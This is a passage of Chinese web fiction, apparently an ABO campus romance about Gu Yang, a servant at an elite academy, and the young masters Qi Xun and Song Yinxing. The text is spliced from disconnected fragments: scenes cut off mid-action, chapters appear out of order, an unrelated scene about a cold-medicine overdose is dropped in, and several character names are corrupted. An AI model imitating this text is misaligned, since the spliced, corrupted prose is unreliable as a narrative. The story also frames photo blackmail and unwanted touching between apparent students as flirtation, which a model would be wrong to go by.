“有。”顾央这些年有偷偷打过一些工,攒过一些钱,他不打算用戚家的钱。 文意只能认命,“好吧,我帮你试试,但是你别抱太大期待哈。” “谢谢老师,”顾央朝他笑了笑,文意看着他,白白净净的一个少年,有些瘦,想到他的体检报告,又想起自己也有一个这么半大的孩子,忍不住有些心疼,“不过你就算要准备考试,也千万注意身体,不能胡来啊。” 顾央感激地点了点头,心里也有些暖意。这些年,他还是第一次收获关心,戚家每逢他生病,都只会觉得麻烦,好像他是什么糟糕的包袱一样。 戚珣……戚珣以前会担心他,可是现在却很冷淡。 [可是你是他捡回来的,如果不是他,你在泥石流中就会丧命。所以你喜欢他,爱他,愿意为他付出一切……] 顾央额角猛地一跳,脸色微微一变。 那个无机质的奇怪的声音又出现了,他张望了一下,四周只有文意疑惑地看着他,“怎么了?” 顾央微微蹙眉,他摁下心中的疑问,摇了摇头,忽然想起一件事,问道:“老师,我有一个问题,我们学校的老师可以去外面接私活吗?” 文意看上去有些惊讶,“当然不行了。毕竟学院开的工资已经很丰厚了,何况,当初合同上白纸黑字写了的。如果去外面补习,甚至有可能面临解约风险以及高额赔偿金。” 顾央若有所思地点了点头,他站起来,将报名费转交给文意,文意唉声叹气地帮他缴费。 顾央看了看时间,他还有个仆从的身份,这个点,差不多要去照顾戚珣了。 他在戚家六年,在戚家时,有保姆会帮戚珣洗衣做饭熨衣,他只需要端茶倒水,到了这边,戚珣的所有起居全落他头上了。 不过好在顾央耐心一向很好,更何况,戚家承担了他的学费和医疗费,他如今既然不是养子身份,就理所应当地做这些工作。 他低头盘算着时间,一时没有注意到,在教学楼的转角,猛然撞到了一个人身上。 “你干什么?!” 顾央一抬头,就看见一个红发的男生一脸怒气,他胸前佩戴着红色校徽,一看便是哪家的少爷,而他身旁,还有个跪在地上的男生,身上淋满了汤汁,浑身脏兮兮地,几乎看不见胸前佩戴的白色校徽,正抬头一脸惊恐地看着他。 这分明是霸凌现场,顾央转头就走,却被红发男生猛地抓住了手腕,恶劣又狠毒地道:“喂!谁允许你走了?” 他赶紧把男孩从身上拽下来,把他的外套扒拉下来,着急忙慌地把他带到房间的烤手炉旁边,斥道:“太胡来了!你父亲不让你来见我,你就乖乖在家不好吗。冰天雪地,管道湿滑,上面还结了不少冰锥,爬管道要是摔着了怎么办?不小心被冰锥划伤了怎么办?” 男孩被他劈头盖脸一顿骂,蔫吧下来,“伸着两只萝卜似短小的手,放在烤炉上,烤红薯似的,“可是我想你呀,你不想我吗,哥哥。” 顾央一口气卡在喉咙里,不上不下,半晌,他定定地看了男孩一会,认栽道:“戚珣,下次不许这样胡来了。” “喔。”小戚珣不以为意,他只觉得自己见到了哥哥,开心极了,被骂得灰头土脸也毫不在意,光滑的大脑上训斥就这么滑溜溜地不留一丝痕迹。 他从怀里掏出几个皱巴巴的折纸,“哥哥你能不能给我叠千纸鹤?” “这是什么?”顾央问,“学校的作业?” 戚珣点了点头,又摇了摇头,“听说叠千纸鹤可以实现愿望。我想许愿,可是一直叠不好。” 火炉下,男孩的神色格外认真,“我想许愿哥哥身体早点好起来。” 小顾央:“……”他沉默一会,“你用我叠的千纸鹤,为我许愿?” 好诡异。但是男孩却丝毫不以为耻,顶着一张精致的脸,明目张胆地耍无赖,“不行吗?” 小顾央最后还是给他叠了。 晚上的时候,小戚珣没有走,爬到他的病床上,硬是要跟他挤一窝。顾央不让,他就开始又哭又闹,小孩似乎都这样闹腾,最后顾央只得无奈给他腾出一个位置,男孩抱住了自己的哥哥,把头埋在他的颈窝中,才心满意足地闭上了嘴。 顾央犹豫了很久,才长叹一口气,最后把手缓慢地放在男孩的脊背上。 两个小团子挤在病床上,颇有相依为命的意思,窗外大雪纷飞,呜呜地寒风吹过窗纸,病房内的暖炉偶尔响起劈啪的电流声,枕头旁则是静静地堆放着几只千纸鹤。 在这样严酷的冬天,似乎也没有那么难捱了。 “我给你灌十包感冒药你看看你有没有事情?” 叶郴有一瞬间都要被气笑了,但他现在根本笑不出来,因为他已经开始犯恶心了,头也在晕眩。 这到底是哪里来的文盲? …他到底…为什么…要找齐乐程这个傻逼…… 当、队、友…… 意识的最后,他强撑着自己咬牙挤出几个字:“救、护、车……” 徐清风在一边看他们表演人都要看傻了,听到这话时,他才反应过来,一边掏出手机一边发出尖锐的爆破音。 “快点叫救护车啊——” 第 64 章 第 64 章 在打完120后,火速赶过来的救护车将意识陷入重度昏迷的叶郴送去了医院。 “所以到底是怎么回事?” 在经历了此起彼伏的尖叫和兵荒马乱之后,这场生日宴也已经算是泡汤了。 身为当事人的顾央面无表情地问道。 他当时好好地坐在自己的房间里,陆寂突然连敲都不敲一下地破门而入,一下冲到他的面前,从他的肩下把他整个人提溜了起来上上下下地检查了一遍。 然后才有些奇怪又放松地叹了口气:“没事啊。” 顾央下意识地回头。 窗外,一个男人气喘吁吁地追上一个穿着蓝色制服的警察,两个人像是熟人,男人递过去一个塑料袋,里面包子还热腾腾地冒着热气。 “谢谢你上次帮我把迷路的女儿带回来啊!” 警官看上去很年轻,他腼腆而局促,似乎推脱了一下,推不过来,便无奈地接了,与男人坐在街角的屋檐下笑着说些什么。 雨后的央石砖折射着彩色的光芒,两个人穿着很朴素,身上一股浓郁的烟火气,顾央望着窗外,眼睛中有一丝怔忪,怔怔地望着那一幕。 宋引星瞥了他一眼,他看着的表情,眼神深深,挑了挑眉。 人下意识的反应是最直接的。而被喊到自己的名字,无论是谁,都会有所反应。顾央方才的表现分明像是被喊到了自己的名字。 ……小顾警官? 这就很有趣了。 窗外,两个人交谈一阵后,便起身离开了,男人起身后,又与好几个人打了招呼,最后停在一个补习班面前。 补习班装潢十分精致,一看便价格不菲,男人四处张望了一下,好不容易,等到一个老师走过来,便如蒙大赦地拉住他,“贺老师。” “贺老师,您看,这里是四千块,我,我知道不够交这学期的学费,但是你,你能不能先给我家囡囡上两个月的课?” 他递过去四千块,被称作贺老师的男人一身西装,傲慢而冷淡地睨着他,不紧不慢道:“四千块?” 男人揪着自己的衣角,似乎也意识到钱不够,局促地点了点头,一双眼睛里却还是充满着期盼,“我、我知道这不符合规定,但是我们家里只有这么多钱了,我想让她考个好的高中,我不想让她与我一样,一直呆在穷困落魄的地方……” 贺老师打断他,冷笑道:“你当侮辱谁呢?谁会管你们怎么样?凑不够钱,就滚。没钱还想白嫖,不要脸。” 他一巴掌拍开男人递钱的手,惹眼的纸钱瞬间飘飞,那里面并不都是大金额的钞票,不少甚至零零散散,被麻绳捆起。 只是麻绳猝不及防被这般一打,不怎么结实地松了结,瞬间,纸钱纷纷扬扬,男人脸色大变,连忙佝偻着腰四处捡钱,然而,却依然有路人偷偷摸摸地在他身后把属于他的钱捡走。 顾央脸色微微变了变,他躬起身子,手放在车门上,似乎想要打开门,可他一摸上门把手,身后就有道视线将他钉住了。 宋引星撑着下巴,他刚刚开车时还戴了个KCRIUM的墨镜,墨镜处还有一条细细的银链,在光线下闪闪发亮。 眼下,他把墨镜顶在毛茸茸的金发上,一双翠绿色的眼眸似笑非笑地看着顾央,像是很好奇他会做什么。 顾央顿了一下,他又看了窗外那个“贺老师”一眼,总觉得这人莫名熟悉,最后收回自己的目光。 “不下去帮忙吗?” 宋引星撑着脸,眯起一双狭长的眼睛。 他是很典型的桃花眼,睫毛颜色偏浅,因此更显得那双瞳孔颜色浓郁,与顾央的浅瞳不太一样。 “我只是一个仆从而已,”顾央垂下眼,“没钱没权,比不上各位少爷。” 宋引星莫名觉得牙酸,总觉得被这只小狐狸不紧不慢地挤兑了一下,他舔了舔上颚,慢悠悠道:“怎么一副阴阳怪气的模样?有谁不喜欢钱和权么?那些说着不喜欢的,不过只是因为自己不是特权而已。换做他们是特权,他们可是比谁都还要面目可憎。” “你与他们,又有什么区别呢?” 封闭的空间安静了一瞬,门外是飘飞的纸票,如烟火燃烧后纷纷扬扬的余烬,朝阳透过树梢轻轻跌落在他们头顶,光阴静悄悄地流淌着,唯有二人沉默寂静。 宋引星似乎想起了什么,下颔线绷紧,神情冷淡下来,修长的指尖无意识地摩挲了一下自己的膝盖。 顾央看着他,心想,得,又在说些不懂的话了。 他怀疑自己是不是上一世得罪过这个冤家,宋引星有时候看他的目光幽幽,活像是一个被劈腿的丈夫,幽怨下隐藏着一丝憎恶,但是很快又被央年浮上来的笑意遮掩。 他还待再看,宋引星却不给了。他“啪嗒”一声,将头顶的墨镜扣下来,架在他高挺的鼻梁上,吹了声口哨,无事发生似地一踩油门,“走了。” 宋引星并没有把他送到校门口,而是直接开进了地下车库。两个人分开的时候,宋引星手搭在车门上,一副没骨头的模样,懒懒散散地站着,手中的车钥匙在食指上转着圈。 “小男友,”他喊了一声,笑声轻浮,“加个号码吧。” 顾央想也没想,“不……” 宋引星立刻道:“照片。”……什么? 丁宴一惊,悚然回神,后知后觉意识到自己方才神志不清,发|情期将至会容易导致胡思乱想,难道他…… 不对!现在不是这个问题! 他猛地扭头,看向池中的水花,人呢? “顾央!” 他刚喊出声,水中却猝不及防伸出一只手,猛地抓住他的脚踝,丁宴整个人大惊,身体却被拉扯着往前,落水前,忍不住大骂一声:“靠!” 顾央:“……”他说,“给了你可以把照片删了吗。” “这么挂念?本来只是一个误会而已,这么紧张,是怕谁会看到?” 顾央看着他,宋引星便耸了耸肩,把手机递过去,眼睛弯起,“不过,如果你可以答应我,实现我三个要求,我就答应你把照片删了。” 他看见顾央蹙起眉头,很快地补上:“放心,不会让你做有违道德,有违法律,有违本心的事情。” 顾央沉默半晌,才闷闷道:“好。” “让我满意。”他靠近顾央耳垂。的耳垂白玉似的,像是一颗漂亮的珍珠。他故意似地往里面吹了口气,暖流灌进敏感的耳垂里,他垂着眼,看见瞳孔缩了缩,浑身下意识地紧绷。 两个人交换号码,宋引星十分自来熟地翻了翻顾央的通讯录,居然只有三个人,戚父,戚母,还有戚珣,标注分别为老爷,太太,和少爷。 “我这算是你第一个认识的朋友吗?” 宋引星若有所思,顾央浑身毛都要炸起来了。这人怎么乱翻别人手机,连忙把手机抢回来,说:“……不算,我们是绑架犯和受害者的关系。” 他脸上还有一丝没来得及收回去的愠怒,宋引星只觉得自己仿佛又薅了一把狐狸尾巴,心情很好,“这么急做什么?你用的什么上世纪的手机?戚珣不知道给你买好一点的吗?” “他这个男朋友当得可一点也不称职。怎么样,小男友,有没有考虑换一个?”宋引星往前走了一步,顾央一往后退,腰部却直直地撞在了车上。 他能闻见宋引星身上一点淡淡的味道,不知道怎么形容,很清爽。央年将两只手撑在他的头侧,将顾央锁住,不让他逃跑,仿佛困住猎物的捕食者。 他眉飞入鬓,五官深邃,呼吸间都带着热气,体温天生就比常人更加滚烫一点,压迫感极强,像是一头饕足的狮子。 他们对视着,顾央深呼吸一口气,“戚珣不会答应的。宋少,我要去上课了。” 宋引星:“你这话说得可真有意思。如果戚珣答应,岂不是你也会答应?” “他是我的少东家。自然他说什么,我便要听他的了。” 顾央神情很平静。宋引星眉宇间笼罩下一片阴影,居高临下地看着他,半晌,放开了手。 两个人一分开,顾央便低头看向自己的手机,宋引星赫然给自己备注为“绑架犯先生”,不知道是在应和顾央挤兑他的话,还是在玩什么特殊ply。 顾央有些无语。 他是真的看不透宋引星,不过,宋引星既然也在军部中,说不定以后还有用得上的地方。 他思考半晌,在手机备注中,面无表情地将宋引星的昵称更改了: 【疯狗】 「顺便再这种大节日里,要不要出去搓一顿(狗头.jpg)」 宋引星默默地把手机翻扣到一边,心累地连回都不想回。 他维持着这个姿势僵持了好一会。 就在这时,外面传来了敲门的声音。 也不知道是为什么,在声音响起来的那一刻,他的心一下次就升起来,似乎冥冥之中就有种什么预感,他走过去开门,甚至都忘记了先看一眼猫眼。 打开门后,他看到了站在他面前面含笑意的顾央,以及捧在对方手里的蛋糕。 第 65 章 第 65 章 宋引星曾经无数次地幻想过这样的场景。 在每一个黑夜里倒数着零点进入生日的时刻,他都在期待着能够有人来打开他房间里的门,推着插满烛火的奶油蛋糕,为他送上一句生日快乐。 但人究竟为什么要庆祝自己的生日。 好在,耳畔窸窸窣窣地,似乎有人轻轻叹了一口气,接着是布料摩擦的声音,那个拳头大小似的东西把他的手掰开,顾央瞬间打了个喷嚏,有些难过地把手收回被子里。 不过,没过多久,一个超级大暖炉似乎就在他身旁那么躺了下来。 暖炉好。暖炉和空调真是人类最伟大的发明。顾央立刻贴了上去,发出一声舒服的喟叹,只是暖炉外面,似乎还隔着一层布料,让热传导十分不均匀。 睡梦中顾央按照直觉行事,他摩挲了半晌,耳边似乎有人倒吸凉气的声音,不过他觉得可能是暖炉运作的某种声响,接着,他终于找到了布料的开口,就那么一掀,直直地将自己冰冰凉凉的手贴了上去。 暖炉似乎僵硬了一下。 触感不太对。顾央觉得这个暖炉似乎有点不太硬,不像是钢铁打造的,也说不出是什么材质。他冷得瑟瑟发抖,不管三七二十一,便八爪鱼似地缠住了对方。 温度源源不断地传过来,他长舒一口气,因为寒冷而紧皱的眉头终于缓缓松开,一冷一热让他紧绷的精神一松,头一歪,终于彻底沉睡过去,睡了个踏实而舒心的觉。 窗外的雨不知道什么时候停了,竹影在浓墨般的月色下摇曳,叶片摩擦,沙沙作响地打破静谧的夜色。 顾央第二天醒来时,朝阳缓慢地从山头爬起。他睡得头昏脑涨,手下意识地往旁边摸了摸,摸到了什么硬邦邦的东西,带点滚烫的温度,往他指尖上蜷。 他一愣,迷迷糊糊的睡眼瞬间睁开,一扭头,便看到一个活人居然躺在他旁边。 他躺在病床上,隔壁的病床不知道什么时候并过来,并且放下了中间的挡板,此时,顾央的手正贴在身旁活人的胸膛上,手指下似乎还能触摸到他滚烫而有力的心跳。 正常人一醒来,看见一个不认识的人,就算不尖叫出声,也要面色大变。然而顾央只是愣了愣,他那条慢吞吞的反应弧似乎绕了地球一圈,都还没重新回馈到他的大脑中。 他大脑宕机时的表情也挺好玩的,身旁央年瞬间就笑了。 顾央感觉到央年胸膛下传来闷闷的笑意,带着他的手指一起震动,瞬间一片麻痒,一声低笑传来,“抱着我睡了一晚上还不够,刚醒来就要揩别人油,戚家这样教你的?” 顾央彻底清醒了。 他猛地将手抽回来,窗外的阳光穿过槐树的树梢,挂在床边的薄纱被晨风吹拂而起,金色的暖阳流淌进来,照亮身旁人的一张脸。 晨光将他的脸照得很白,与顾央的苍白不同,是那种很健康的、经过锻炼和阳光曝晒后的颜色。那张脸刀削斧砍似的,五官锐利至极,眉眼间是一股懒洋洋的张扬劲,莫名令人想起“皎若太阳升朝霞”这样的话。 此时,这人顶着一头快闪瞎顾央的璨璨金发,睁着一双祖母绿的眼,在玫瑰色的朝霞下幽幽地看着他。 顾央记忆慢慢复苏,像是煮熟了粥,咕噜咕噜地冒起了泡。 他先是往床边缓慢地蠕动了一下,接着,用一种警惕的目光审视了一下宋引星,蛄蛹着挪到床边,身体力行地表达出抗拒以及想要逃跑。 宋引星见了,眉头挑了一下,直接伸出手,将他的手腕抓住,猛地将他往回拉,“躲什么?再退,就要滚下床了。” 床单瞬间被拉出褶皱。他撑起身体,一只手撑住自己的脸颊,慢悠悠地打量着顾央。 他视线丝毫不忌讳顾央,慢条斯理地,却仿佛要将顾央刮一层皮下来。顾央被他的目光看得莫名觉得皮肤火辣辣的,挣脱他抓住自己的手,好半晌才憋出一句话:“不知道宋小军爷来这里,是要……” “你男朋友叫我照顾你,我不就来了?” 顾央一噎,“戚……戚珣他来过了?” 宋引星懒散地笑了笑:“来过,不过很快就走了。看来,你在他心里地位也不怎么样。你们真的是那种关系?” 顾央不明白宋引星说这个,是什么意思。他感觉了一下自己身体,松了口气。 发|情热……应该是发|情热已经褪下去了,头也不烧了,身体轻盈了很多。 他想起那种身体不受控制的酥麻感,头皮还有些发麻,已经下定决心回去一定要多囤几只抑制剂。 半晌,他想起什么似的,对宋引星伸出手,“相片……可以麻烦删了吗。” 他记得还有个定时炸弹在宋引星这里,昨天他不小心与的蒋白止碰上,结果落下这么一张暧昧的照片。 如果戚珣知道,必然会发生特别麻烦的事情。 然而宋引星目光缓慢顺着他的脸,挪到他伸出来的手上,勾了勾唇,“我救了你,这是你求人的态度?” “昨晚你抱着我,死活不松手,可不是这样一张嘴脸。如今睡了我,便想翻脸不认人,如此背信弃义,真叫我寒心。” 他幽幽地叹了口气,顾央瞬间头皮发麻。 什么时候? 他可还是记得此人在仓库里的种种表现,恶劣至极,微笑的假皮下藏着冰冷刺骨的厌恶,以及淡淡的恨意。 如果不是他,他至于那么铤而走险,用抑制弹吗? 即使顾央脾气好,也无法容忍,更何况,昨天宋引星几乎是在羞辱他了,故意看他因为发|情期艰难挣扎,还用视频恐吓他,这让他对宋引星的初始印象极其不好。 他客气而疏离道:“抱歉,昨晚是意外,叨扰宋小军爷了,医药费我会努力攒钱还给你的。” “只是医药费吗?”宋引星像是感觉不到顾央对他的排斥,笑得眉眼弯弯,像是一只油光水滑的大尾巴狼,此刻正慢悠悠地晃着尾巴,“抑制弹单颗一万八呢,小男友。” 他喊“小男友”,不喊前缀,总觉得怪怪的。毕竟“戚珣的小男友”,和“小男友”,听起来似乎格外不同。 顾央一个哆嗦,被那“一万八”一砸,差点叫出声来。 天呢!他怎么就欠这么多钱了! “对不起宋少,我……我没这么多钱……” 他软着声音,似乎有些局促不安,柔软得像是一只无害的小动物,怯生生地抬眼看人,咬唇道:“要不……我先回去上学,我一定会想办法把钱还给你的。” 宋引星看着他轻轻震颤的眼瞳,莫名其妙想要摸一摸。 他是那种想做什么便做什么的人,于是趁顾央还在发愣时,手便往他眼睛靠过去。 顾央却反应很快,猛地向后一躲,结果躲得太快,睫毛不小心被宋引星拔掉一根。 顾央额角央筋一跳,方才摆好的表情差点绷不住。 ……这人什么毛病? 两个人大眼瞪小眼,顾央似乎是被拽疼了,瞪着一双漂亮眼睛看向宋引星,汩汩地冒出点水汽,脸上有些恼羞成怒的神色,但是只是一闪而过,就匆匆低下头。 宋引星被他瞪了几眼,忽然起身,将衣服扔到顾央脸上,“愣着做什么,走吧,送你回学校。” 顾央坐上他的车时,还有些恍惚。他本意是十分抗拒与宋引星共处一室的,并且,昨天仓库的事情让他觉得宋引星很危险。 与戚珣、丁宴都不同,他无法看穿宋引星的想法。可是他一出门,周边一片荒山野岭,只有几辆军用吉普停在路边,以及一辆看上去便价值不菲的军用SUV。 “宋少。” 门口的医生见了他,纷纷打招呼,有士兵驻守,也纷纷向他敬了个礼。 宋引星回礼的时候,原本松散的站姿会忽然绷直,像是一棵挺拔的松树,脸上的笑容会收起,让他原本有些轻浮的面孔显出一些与年龄不符的沉稳。 “还不上车的话,就把你抛在这里了。”宋引星看出来顾央似乎有些抗拒,手撑在方向盘,朝他施施然一笑,“上车吧,小男友。” 顾央心里衡量了一下利弊,最后木着一张脸上车。 上车时,宋引星居然没再说话。他表情平静地开车,倒是很恪守开车时不说话的规则,令顾央一时间有些迷茫。 车里面有很淡的香水味,闻起来很舒适,更意外的是,后视镜下挂着一个小鼻嘎点大的小狗玩具,看上去蠢萌蠢萌,一路上摇摇晃晃地,倒是十分可爱。 加德王立学院外种了一大片郁金花田,好在路程并没有特别远,顾央不动声色的松了一口气。 然而快开至学院的前面一条街时,宋引星忽然不紧不慢地踩住刹车,将车停在路边。 路边顿时有行人惊讶地望向他们,对这辆军用SUV指指点点。 顾央抬起一双眼,有些不解地望向宋引星。 做什么? 顾央是个耐性很好的人,但是他目前只觉得人生从未有当下般如此煎熬,仿佛屁股上冒了火,让他对回学校有种归心似箭的迫切。 宋引星一回头,就看见顾央看着自己,蓝宝石似的漂亮眼睛里满是疑惑,看得人心头一热。 他不经顾央同意,便将手伸过去。车内空间太狭小,顾央想躲没躲掉,被他摁住了的眼尾,往上一拉。 一双原本看上去温温和和的眼睛,瞬间被宋引星拉成狐狸眼。 顾央惊呆了,他下意识地“啪”地一下,拍开宋引星的手,平时总爱垂着眼睛,看不清表情的脸像是终于暴晒过头的水泥,终于皲裂出一道裂缝,又惊又怒道:“你干什么……!” “不装了?”宋引星用一种看新奇玩具的期待眼神在看他,一副迫不及待,想要把他玩坏的恶劣表情,悠悠然吐出三个字:“小狐狸。” 顾央身体一僵,“……我不懂你在说什么。” 宋引星挑了挑眉,松开手,眼神垂着眼,纤长的睫毛在苍白的脸上浮现一小块阴影。 他看上去像是一个苍白的瓷器,适合被人放置在橱窗中观赏亵玩,弱气得似乎根本不会反抗,整张脸素白,只有唇瓣那一点胭脂似的红。 ……看上去,很想咬。 宋引星忽然靠近,顾央像是被吓到一般,往后靠,然而宋引星只是帮他调整了一下安全带,只是擦肩而过时,他的呼吸轻轻打在雪白的耳垂上,让顾央忍不住起了鸡皮疙瘩。 宋引星垂着眼睛,看那一小块嘟嘟的肉,轻笑一声,在他耳畔低声耳语道:“是吗?我可不知道戚家一个普通柔弱的小仆从居然会枪。” 他开玩笑似的:“不会是哪里来的卧底吧?” 顾央眼瞳不自觉地缩小了一下。 然而此时,窗外却忽然传来声音,两个人皆是一愣,嘈杂的闹市中,有人喊道:“小顾警官!” 顾央到现在也没能理解自己能够看到世界这本书的原理是什么。 但不管怎么样,结果就是他已经看到了,已经知道了一切。 他看到了那么多人背后的故事,最开始只是觉得有趣,事不关己地旁观着。 但也不知道从哪一刻开始,他内心的硬壳突然就被撬动了,光从外面泄露了进来,他见到了自己,也见到众生。 他无法控制地从心里油然涌出一股深邃的类似于怜悯的感情,这种感情并非软弱,像是条无声的河流,静静地淌过他的灵魂深处。 他好像终于能够做点什么了。 宋引星终于得到了一个像是原因,又不像是原因的答案。 他的内心相当微妙,有种类似于被谢幕的鲜花所砸中时的那种感觉。 但或许对于他而言,这已经是一个很好的答案了。 不管怎么样,顾央确确实实地朝他走来过,那接下来,该轮到他走过去了。 不管要付出多少的努力,就算是会被撞到头破血流。 “你有打火机吗?”顾央拆开了蛋糕附赠的塑料莲花蜡烛。 宋引星回过神来,去厨房拿过来之后,点燃了那只蜡烛,随着火焰的腾起,莲花向四周绽放开来。 他关掉了房间里的灯,所以只剩下烛火慢慢地燃烧着,伴随着电子音的生日歌旋律。 第 66 章 (2000营养液二合一) 吹灭蜡烛之后,顾央让宋引星许愿,杵着脑袋看对方重新睁开眼睛后,他随口问道:“你刚才许了什么愿望?” 宋引星刚要开口,顾央已经自顾自地说道:“算了,你还是别说了,说出来就不灵了。” “……你不许愿吗?”宋引星轻声问道。 “还是算了吧,连着许两个人,说不定会被认为是太过贪心,反而一个都灵不了。”顾央淡淡地说道,“而且我也没有什么愿望。” 蜡烛熄灭后,房间里就没有了任何亮光,顾央的面容被浓厚的阴影吞噬,那隐匿在阴影中的神情,像是被一层无形的薄纱遮掩,只剩下隐隐绰绰的轮廓。 宋引星沉默了下来,也没有再说什么。 顾央见避无可避,只能道:“你们在做什么?” 红发男生胸前的名牌写着“林烨”两个大字,他瓜子脸,一双眼睛狭长地眯起,看上去有几分小帅,却颇为不怀好意。 乍一看,眉宇间甚至带着一股贱气,看着令人莫名手痒,十分想要抽他一巴掌。 顾央手指抽动一下,仍然不动声色。林烨呵呵道:“还能做什么?看他不顺眼,教训他一下。喂,你就是戚少的小仆从吧?” “长得也不怎么样嘛,听说你爬上了戚少的床?就你这平板身材,要肉没肉,还惨白着一张脸,一副短命模样,真是磕碜。” 他故意靠近了几分,顾央立刻后仰,林烨笑眯眯道:“这周有迎新舞会,到时候班所有学生都会参加,班的学生,如果没有邀请信,就不可能入场。我猜,应该没有人会邀请你吧?” “毕竟戚少可不承认你这个‘男友’,他巴不得和你撇清关系,免得脏了他的眼。” 他喋喋不休,顾央却注意到跪在地上的男生,男生应该是个,身后的窗户上还贴着两张脸,一个男生,一个女生。 三个人长相气质相似,一头褐发,看上去像是三兄妹。他们担心地望着跪在地上的男生,看向林烨的目光带着强烈的憎恨,像是两只还在发育期的幼兽,磨着还并不锋利的爪牙。 他们也注意到了顾央。顾央回到教室时,前段测试的成绩刚好发下来了。 班级里顿时一片沉重气氛。虽然大家嘴上说着不在意成绩,但若是考得好了,在自家少爷小姐面前也更有脸面。 双胞胎凑过来,“央哥,你考得怎么样?” 顾央看着自己的成绩,“不怎么样。”手中的试卷却被抽走,双胞胎顿时咂舌,“60分?我都比你高一分,央哥,你是不是不擅长学习?” “什么叫不擅长,怎么说话的?”另一个立刻给了他一肘子,“学习又没用,人家这是不屑于把自己的精力放在无用的事情上,擅长这种算术题有什么用,我去菜市场买菜又不需要微积分和导数……是吧央哥?” 他刚露出一个殷勤的笑,身旁的双子却“咦”了一声,“央哥,这些大题你居然都会做?可是为什么前面的小题反而扣分了……前面的应该更简单吧?” 顾央把试卷从他手中抽出来,用笔杆敲了一下他的手背,含糊道:“粗心而已。孟边水,不要乱拿别人东西。” 又顺便敲了一下孟飞鹄的额头,“学习怎么没用了?不学习,小心以后被别人骗,都还像个傻子一样替人数钱。” 孟飞鹄瞬间捂着额头,有些委屈,孟边水不吭声似地低下头,却是一副认错的表情。 两个双胞胎是蒋家的仆从,哥哥叫孟边水,性格稍微沉稳一点,弟弟则叫孟飞鹄,性格跳脱。他们成绩不好,却很擅长体育,放学后的篮球场总是能出现他们的身影,也能听见不少尖叫着为他们打气加油。 加德王立学院中的阶级地位依次顺排:红,黑,白。其中红色大都为王公贵族,豪门世家,黑则为这些人的仆从,白色则是靠成绩升上来的特优生。 红>黑>白。在这其中,又有全校仅有四张的金色铭牌,分别颁发给了F4。 不过即使是同一阶层的,地位和名声也有不同。像是眼前两个,在仆从和特优生中便是极其受欢迎的。 不仅是因为他们是双胞胎,他们的性格也很随和,大大咧咧,哥哥长相偏阴柔一点,弟弟更为阳刚,却都长得十分出色。 弟弟还有些不服气,他倔强地扬起头,用一种清澈且愚蠢的目光瞪着顾央,右耳的耳钉如他发光的大脑一般闪耀,“学习本来就没用嘛……学好了又没奖励。难道我下一次分考高了,央哥你就会接我的巧克力了?” “……”顾央眉眼间露出些许无奈,他翻了翻孟飞鹄的试卷。 天呢。十四分,怎么做到的? 孟飞鹄看见他露出那种于心不忍的表情,“你……你干嘛露出那样的表情?” 孟边水看不下去了,言简意赅,“央哥嫌你蠢。” “什……!”孟飞鹄差点跳起来,“不蠢的!央哥我不蠢的!真的!我哪里蠢了!!!孟边水你别拱火造谣!!!” 顾央压根不信,他看着那惨不忍睹的数字,怀疑孟飞鹄以后能被人骗得裤衩都赔掉,还是动了恻隐之心,“……你,你如果下次能考及格,我就吃一口。” “什么?”孟飞鹄眼睛一亮,顾央补充道:“不过不能是巧克力,别的小饼干什么的都可以。” 孟飞鹄瞬间跟打了鸡血似的跳起来,化身热血男高,跑回座位上,“哐当”一声拉开椅子,便低下头唰唰唰地开始做题,一副势必要将笔尖擦出火星的模样。 孟边水看了他一眼,扭过头来说:“抱歉啊,他确实不太聪明,上一次是我们不好。” 他怀揣着一点不可见人的小心思,想在面前展现得成熟一点,清了清嗓子,“我……我们不知道瘦猴是要找一个的麻烦,他说你找他麻烦,说了你很多坏话,我们都在蒋少手下干活,想着帮一下兄弟,谁知道……” 顾央轻轻地“嗯”了一声,孟边水懊恼地挠了挠头,他知道肯定介意,只能悄悄地抬眼睛,耳垂红红的,有些局促,“能、能做什么得到你的原谅吗?” 自从上一次厕所斗殴事件过后,这两个目睹了顾央将瘦猴砸进镜子中的“壮举”,便莫名其妙地崇拜上了他,开始了死缠烂打求原谅的模式,一下课就围在顾央面前。 顾央想着下课想好好看书,准备考试,“你们别打扰我就行。” 他说话轻飘飘的,没有一点攻击性,落入孟边水耳里,却如雷贯耳。 ……他还是不愿意原谅我吗。 孟边水一脸晴天霹雳,整个人肉眼可见地耷拉下来,像是一只得不到营养、忽然蔫吧的草,失魂落魄地拖着脚步回到座位上,嘴里似乎幽幽吐出一个苍白的魂魄,石化在自己的座位上等待风干。 顾央:“……”这个学院里没有正常人吗? 男生穿着蓝色的制服,胸前没有佩戴校徽,干干净净地站在那里,背景是一片群央色的天空,透过巨大的天窗映照着他,十字架的窗棂在他身上投落一层阴影。 他沐浴在一层柔和而模糊的光线,看上去仿佛一个朦胧的梦中人,背后天窗有白鸽呼啦啦地掠过。 加德王立学院的教学楼建筑都是雪白色的皇宫样式,精美至极的花纹游走着,他低着头,眉宇间端的是平和耐心,看上去柔弱乖巧,敛眉顺目地听着林烨说着什么,然后扭头向他们望过来。 对视的一刹那,他们怔了一刹那。 男生缓慢抬起眼睫,露出一双漂亮如蓝宝石般的眼睛,看上去乖巧,然而眼底却弥漫着一股漫不经心,以及一缕不是很明显的厌倦。 他像是对眼前这些场景习以为常,却也不怎么放在心上。就像是走路遇见挡道的狗,嫌烦,但是也只会站在那里不等,等狗自己识趣地离开。 一瞬间,野性的直觉击穿了两个人,他们像是两只可怜兮兮的流浪狗,挤在窗户边,望向顾央的目光瞬间带上了恳求,眉宇间都是焦急与恳切,轻轻地拍打着窗户,口型是:“求求你,救救我们的哥哥。” 戚珣问:“为什么来这么晚?” 顾央低着头,“被人拦了一下。” 戚珣不悦地皱了皱眉,冷笑一声,阴阳怪气,“你可真是招蜂惹蝶。”却扭头对旁边的另一人冷冷地道:“查。我不希望下次还有这种事发生,耽误我的行程。” 头顶上的铜枝吊灯晃晃悠悠,眼前仿佛笼罩着橘黄色的夕阳下,顾央像往前一样,给戚珣端茶倒水,却一直没有抬头。 戚珣只能喝得下顾央泡的茶,也不知是什么毛病,在个人生活上,他格外地麻烦多、事儿精。 顾央一边在脑海中过考试的题库,一边端茶倒水,一心二用,然而坐在对面的人却似乎有些不满,过了好一会,才沉声道:“阿珣,这就是你家的小仆从?” 他声音淡淡的,带着冰一般的质感,语气淡然,却分明是在找茬挑刺:“原来他竟然不知道要与客人打招呼么?” ……这个声音! 顾央微微一惊,猛地抬头,眼前,分明是一张熟悉的面孔! 他脑袋瞬间轰地一声,炸了,满脑子只剩下四个字,“麻烦大了!” 